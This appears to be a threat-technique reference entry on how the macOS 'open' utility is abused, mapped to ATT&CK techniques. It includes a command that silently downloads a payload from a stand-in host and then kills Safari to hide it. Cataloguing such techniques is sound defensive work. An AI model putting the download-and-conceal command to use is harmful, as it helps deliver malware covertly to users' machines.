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open

The open command-line utility can be used to open files, folders, app, URLs or header files in their associate macOS app.

Execution
Path
/usr/bin/open
Author
Brendan Chamberlain (@infosecB)
Created
2023-05-10

Example Use Cases 2

Open a malicious file #

The open command can be used to open a malicious macOS app from the terminal.

open Malicious.app
Execution T1204.002 application

Download a malicious file #

The following command downloads the payload.zip file in the default browser (Safari) and then kills it.

open -g https://mypayload.io/payload.zip; sleep 3; killall Safari
Execution T1105

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